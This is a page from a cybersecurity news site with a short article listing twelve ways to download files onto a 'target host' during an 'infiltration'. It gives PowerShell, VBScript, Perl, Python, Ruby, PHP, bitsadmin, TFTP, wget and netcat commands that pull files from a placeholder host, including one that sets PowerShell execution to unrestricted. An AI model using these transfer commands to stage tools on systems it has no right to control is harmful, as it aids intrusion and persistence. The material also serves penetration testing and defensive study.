• About WordPress
    • WordPress.org
    • Documentation
    • Learn WordPress
    • Support
    • Feedback
Skip to content
May 25, 2026
  • Linkedin
  • Twitter
  • Facebook
  • Youtube

Daily CyberSecurity

Zero-hour alerts. Unmatched analysis.

Primary Menu
  • Home
  • CVE Watchtower
  • Cyber Criminals
  • Data Leak
  • Linux
  • Malware
  • Vulnerability
  • Submit Press Release
  • Vulnerability Report
Light/Dark Button
  • Home
  • Technique
  • 12 ways to download a file from webserver
  • Technique

12 ways to download a file from webserver

Ddos September 12, 2017 1 minute read
netcat

In our infiltration process, we usually need to send some files to the target host, to achieve the right to maintain, control and other purposes. This article will introduce 12 ways to download files.

  • PowerShell File

    $p = New-Object System.Net.WebClient
    
    $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
    C:\>powershell set-executionpolicy unrestricted
    PS C:\> .\test.ps1

  • Visual Basic

    Set args = Wscript.Arguments
    
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
    end with

    C:>cscript test.vbs

  • Perl

    #!perl
    
    #!/usr/bin/perl
    use LWP::Simple;
    getstore("http://domain/file", "file");

    root@kali:~# perl test.pl

  • Python

    #!python
    
    #!/usr/bin/python
    import urllib2
    u = urllib2.urlopen('http://domain/file')
    localFile = open('local_file', 'w')
    localFile.write(u.read())
    localFile.close()

    root@kali:~# python test.py

  • Ruby

    #!ruby
    
    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }
    root@kali:~# ruby test.rb

  • PHP

    #!/usr/bin/php
    
    <?php
    $data = @file("http://example.com/file");
    $lf = "local_file";
    $fh = fopen($lf, 'w');
    fwrite($fh, $data[0]);
    fclose($fh);
    ?>
    root@kali:~# php test.php

  • FTP

    ftp 127.0.0.1
    
    username
    password
    get file
    exit

  • TFTP

    tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server

  • Bitsadmin

    bitsadmin /transfer n http://domain/file c:\%homepath%\file

  • Wget

    wget http://example.com/file

  • Netcat

    cat file | nc -l 1234
    

    nc host_ip 1234 > file

  • Windows Share

    net use x: \\127.0.0.1\share /user:example.com\userID myPassword

 

Share this article:

Facebook Post LinkedIn Telegram

No related posts.

Search

Translation

CVE WATCHTOWER
🚨

Receive alerts for vulnerabilities being exploited in the wild.

⚑

Get notified instantly when a Proof of Concept (PoC) exploit is published.

πŸ”

Access critical info on vulnerabilities even when marked as "RESERVED".

🧠

Insights powered by decades of expertise and global intelligence sources.

🎯

Customize alerts with up to 10 keywords for your specific tech stack.

πŸ“Š

Export the raw CVE database for SIEM integration and reporting.

Upgrade Package

πŸ”΄ Live Critical Threats

  • CVE-2026-9458CVSS 9.8
    A vulnerability was identified in Totolink A8000RU 7.1cu.643_b20200521. The impacted element is...
  • CVE-2026-9457CVSS 9.8
    A vulnerability was determined in Totolink A8000RU 7.1cu.643_b20200521. The affected element is...
  • CVE-2026-9456CVSS 9.8
    A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. Impacted is the function...
  • CVE-2026-9455CVSS 9.8
    A vulnerability has been found in Totolink A8000RU 7.1cu.643_b20200521. This issue affects...
  • CVE-2026-9454CVSS 9.8
    A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects...
  • CVE-2026-9436CVSS 9.8
    A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. The impacted element...
  • CVE-2026-9435CVSS 9.8
    A vulnerability was detected in Totolink A8000RU 7.1cu.643_b20200521. The affected element is...
  • CVE-2026-9434CVSS 9.8
    A security vulnerability has been detected in Totolink A8000RU 7.1cu.643_b20200521. Impacted is...
  • CVE-2026-9433CVSS 9.8
    A weakness has been identified in Totolink A8000RU 7.1cu.643_b20200521. This issue affects...
  • CVE-2026-2651CVSS 9.0
    A vulnerability in MLflow versions
Powered by CVE WATCHTOWER

Recent Zero-Day Vulnerabilities

  • Exploited in the Wild: Critical OWA Spoofing Flaw (CVE-2026-42897) Hits On-Premises Exchange Servers
  • Exploited in the Wild: Maximum CVSS 10 SD-WAN Flaw (CVE-2026-20182) Grants Admin Control
  • Exploited in the Wild: Critical 9.8 CVSS RCE Hits Canon GUARDIANWALL MailSuite
  • Exploit Code Released: Public PoC Dumps for Windows BitLocker Bypass and SYSTEM Elevation Zero-Days
  • Exploited in the Wild: “Dirty Frag” Linux Vulnerability Grants Instant Root Access
  • Under Active Attack: Ivanti EPMM Zero-Day Exploited in the Wild via Harvested Admin Credentials
Our Websites
  • Penetration Testing Tools
  • The Daily Information Technology
  • Daily CyberSecurity

    • About SecurityOnline.info
    • Advertise with us
    • Announcement
    • Contact
    • Contributor Register
    • Login
    • About SecurityOnline.info
    • Advertise on SecurityOnline.info
    • Contact Us

    When you purchase through links on our site, we may earn an affiliate commission. Here’s how it works

    • Disclaimer
    • Privacy Policy
    • DMCA NOTICE
    • Linkedin
    • Twitter
    • Facebook
    • Youtube
    Copyright Daily CyberSecurity Β© All rights reserved.